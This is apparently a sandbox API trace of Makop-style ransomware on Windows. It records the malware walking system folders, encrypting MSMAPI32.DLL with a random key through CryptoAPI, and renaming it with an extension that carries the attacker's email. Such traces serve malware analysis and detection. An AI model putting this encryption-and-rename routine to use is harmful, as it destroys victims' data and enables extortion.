ftLastWriteTime.dwLowDateTime=0x80edd5b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll", cAlternateFileName="")) returned 1 [0103.712] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll") returned 54 [0103.712] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.714] GetLastError () returned 0x5 [0103.714] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84872aa8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84872aa8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84872aa8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcs.dll", cAlternateFileName="")) returned 1 [0103.714] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\msadc\\msadcs.dll") returned 53 [0103.714] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadcs.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcs.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.714] GetLastError () returned 0x5 [0103.714] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3801e6, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc3801e6, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x345eeb10, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadds.dll", cAlternateFileName="")) returned 1 [0103.714] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll") returned 53 [0103.714] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.715] GetLastError () returned 0x5 [0103.715] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfce53b36, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfce53b36, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80fc2d90, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll", cAlternateFileName="")) returned 1 [0103.715] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll") returned 54 [0103.715] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.715] GetLastError () returned 0x5 [0103.715] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7d9276, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd7d9276, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x81dbdf30, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll", cAlternateFileName="")) returned 1 [0103.715] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll") returned 55 [0103.715] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.717] GetLastError () returned 0x5 [0103.717] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0d295c, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc0d295c, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3497fc70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprst.dll", cAlternateFileName="")) returned 1 [0103.717] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll") returned 55 [0103.717] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.717] GetLastError () returned 0x5 [0103.717] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93fdbb10, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93fdbb10, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x94001c70, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdarem.dll", cAlternateFileName="")) returned 1 [0103.717] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll") returned 54 [0103.717] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.717] GetLastError () returned 0x5 [0103.717] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd6a878e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd6a878e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x835d7620, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll", cAlternateFileName="")) returned 1 [0103.717] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll") returned 55 [0103.717] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.718] GetLastError () returned 0x5 [0103.718] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 1 [0103.718] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll") returned 54 [0103.718] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.718] GetLastError () returned 0x5 [0103.718] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 0 [0103.718] FindClose (in: hFindFile=0x48c70e8 | out: hFindFile=0x48c70e8) returned 1 [0103.719] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI", cAlternateFileName="")) returned 1 [0103.719] wsprintfW (in: param_1=0x657a7f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\MSMAPI") returned 43 [0103.719] wsprintfW (in: param_1=0x6577d70, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\System\\MSMAPI\\*.*") returned 47 [0103.719] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\*.*", lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70e8 [0103.721] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.721] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0103.721] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033") returned 48 [0103.721] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*.*") returned 52 [0103.721] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0103.721] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.721] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 1 [0103.722] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL") returned 61 [0103.722] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL" (normalized: "c:\\program files\\common files\\system\\msmapi\\1033\\msmapi32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0103.722] GetProcessHeap () returned 0x48a0000 [0103.722] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0103.722] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0103.722] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0103.722] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0103.722] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0103.723] GetProcessHeap () returned 0x48a0000 [0103.723] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0103.723] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0103.723] CryptDestroyKey (hKey=0x48c7168) returned 1 [0103.723] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0103.726] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0103.727] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0103.727] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0103.727] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0103.727] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0103.727] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0103.727] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0103.727] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.727] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe580, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xe580, lpOverlapped=0x0) returned 1 [0103.730] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xe580, dwBufLen=0xe580 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xe580) returned 1 [0103.730] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.730] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe580, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xe580, lpOverlapped=0x0) returned 1 [0103.731] CryptDestroyKey (hKey=0x48c7168) returned 1 [0103.731] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xe654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.731] SetEndOfFile (hFile=0x138) returned 1 [0103.739] GetProcessHeap () returned 0x48a0000 [0103.739] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0103.739] GetProcessHeap () returned 0x48a0000 [0103.739] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0103.739] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0103.739] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL" (normalized: "c:\\program files\\common files\\system\\msmapi\\1033\\msmapi32.dll"), lpNewFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\system\\msmapi\\1033\\msmapi32.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0103.740] CloseHandle (hObject=0x138) returned 1 [0103.740] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 0 [0103.741] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0103.741] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0103.741] FindClose (in: hFindFile=0x48c70e8 | out: hFindFile=0x48c70e8) returned 1 [0103.741] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1 [0103.741] wsprintfW (in: param_1=0x657a7f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\Ole DB") returned 43 [0103.741] wsprintfW (in: param_1=0x6577d70, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\System\\Ole DB\\*.*") returned 47 [0103.741] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70e8 [0103.745] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.745] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0103.745] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US") returned 49 [0103.745] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*.*") returned 53 [0103.745] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0103.746] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.746] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6d5cd, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb6d5cd, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll.mui", cAlternateFileName="")) returned 1 [0103.746] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui") returned 66 [0103.746] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff 